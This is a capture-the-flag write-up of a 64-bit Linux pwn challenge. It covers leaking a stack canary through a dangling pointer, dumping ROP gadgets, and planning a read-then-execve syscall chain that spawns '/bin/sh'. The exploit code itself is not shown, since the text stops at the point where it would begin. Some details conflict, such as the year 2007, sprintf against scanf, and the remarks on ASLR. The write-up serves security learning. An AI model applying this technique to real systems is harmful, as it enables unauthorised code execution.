Today, I'll tell you how I (we) solved the "Random Generator" challenge at 2007's ASIS CTF qualifier round. It's a pwning challenge, so finding the vulnerability wasn't too hard:
The challenge was a x86_64 Linux binary, with most standard exploit mitigations
enabled, including (this will be important) stack canaries, but excluding
position independent code (allowing ASLR). The main
function in the binary
called a function that would fill and return a stack-allocated buffer with
random data, and then allowed the user to query exactly 7 bytes of that buffer.
This of course means that the returned pointer was dangling, pointing to memory
that functions called later on might write to. When the user asks for another
byte, the program would call sprintf("%s")
on another stack-allocated buffer.
This scanf
call is a trivial buffer overflow on the stack, only complicated by
the use of stack canaries.
The binary was of course written exactly so that the random data in the buffer the user could leak would contain the stack canary. Since gcc's stack canaries always end with a zero byte, leaking only 7 of the 8 bytes was sufficient to know the whole canary value. (Finding all this out was complicated a little by gdb's tendency to mess with the exact stack layout, but was still pretty easy in the end.)
The actual challenge was about finding a working ROP/JOP exploit. The scanf
call with a "%s"
format string reads all user-defined data (including NUL
bytes!) up to a white space character. Unluckily, while ASLR wasn't enabled, all
addresses for useful library functions (scanf
, printf
and such) both in the
GOT and the PLT contained such white space characters and therefore could not be
used in the ROP chain, and while some registers could be set to arbitrary values
(using some arithmetic expressions on them), there were no gadgets to jump to an
address pointed to by a register, either. The only useful ROP gadget I managed
to find was a syscall:
$ ROPgadget --binary /tmp/Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1 --badbytes '0a|09|0b|20|0d'
Gadgets information
============================================================
0x0000000000400286 : adc bl, dl ; ret
0x0000000000400f82 : add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400f6f : add bl, dh ; ret
0x0000000000400f87 : add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f6d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f85 : add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f6b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f83 : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f84 : add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400f6c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f7d : add byte ptr [rax], al ; add byte ptr [rcx], al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x000000000040027d : add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f7e : add byte ptr [rax], al ; add dword ptr [rax], eax ; add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x000000000040027a : add byte ptr [rax], al ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f86 : add byte ptr [rax], al ; mov rdx, rsi ; ret
0x000000000040027e : add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f6e : add byte ptr [rax], al ; ret
0x0000000000400f72 : add byte ptr [rax], al ; sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040027b : add byte ptr [rbx], al ; add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f7f : add byte ptr [rcx], al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x000000000040027f : add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f81 : add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400283 : add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f80 : add dword ptr [rax], eax ; add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400ef6 : add eax, 0xfffac4e8 ; dec ecx ; ret
0x0000000000400e80 : add eax, 0xfffb3ae8 ; dec ecx ; ret
0x0000000000400e28 : add eax, 0xfffb92e8 ; dec ecx ; ret
0x000000000040027c : add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f57 : add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f56 : add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ec5 : call 0x10020fe5
0x0000000000400f49 : call qword ptr [r12 + rbx*8]
0x0000000000401107 : call qword ptr [rax]
0x0000000000400f4a : call qword ptr [rsp + rbx*8]
0x0000000000400285 : cwde ; adc bl, dl ; ret
0x0000000000400f4c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400f47 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400f46 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f41 : mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f89 : mov edx, esi ; ret
0x0000000000400f44 : mov esi, esi ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f88 : mov rdx, rsi ; ret
0x0000000000400f43 : mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f65 : nop ; nop word ptr cs:[rax + rax] ; ret
0x0000000000400f68 : nop dword ptr [rax + rax] ; ret
0x0000000000400f67 : nop dword ptr cs:[rax + rax] ; ret
0x0000000000400f66 : nop word ptr cs:[rax + rax] ; ret
0x0000000000400f59 : or byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f60 : pop r14 ; pop r15 ; ret
0x0000000000400f62 : pop r15 ; ret
0x0000000000400f8c : pop rax ; pop rdi ; ret
0x0000000000400f5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400f5a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f63 : pop rdi ; ret
0x0000000000400f61 : pop rsi ; pop r15 ; ret
0x0000000000400f5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400282 : push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400288 : ret
0x0000000000400ec8 : ret 0xb60f
0x0000000000400ebe : ret 0xd089
0x0000000000400ec6 : sbb byte ptr [rcx], al ; ret 0xb60f
0x0000000000400ecb : shr byte ptr [rcx], cl ; ret 0xd089
0x0000000000400284 : std ; cwde ; adc bl, dl ; ret
0x0000000000400f75 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400f74 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000400f8f : syscall ; ret
0x0000000000400f6a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f45 : test byte ptr [rcx + rcx*4 - 1], 0x41 ; call qword ptr [rsp + rbx*8]
Unique gadgets found: 71
After spending way too much time on some dead ends, the solution still ended up
rather simple. Calling library functions is of course not necessary at all when
you can perform arbitrary syscalls. So the exploit I ended up with uses a ROP
chain to first do a read()
call that reads the string "/bin/sh" to some known
writable address, followed by a call to execve
(with NULL argv and environment
parameters, although these could be set with even more calls to read()
).
The (rather gross) exploit ended up like this: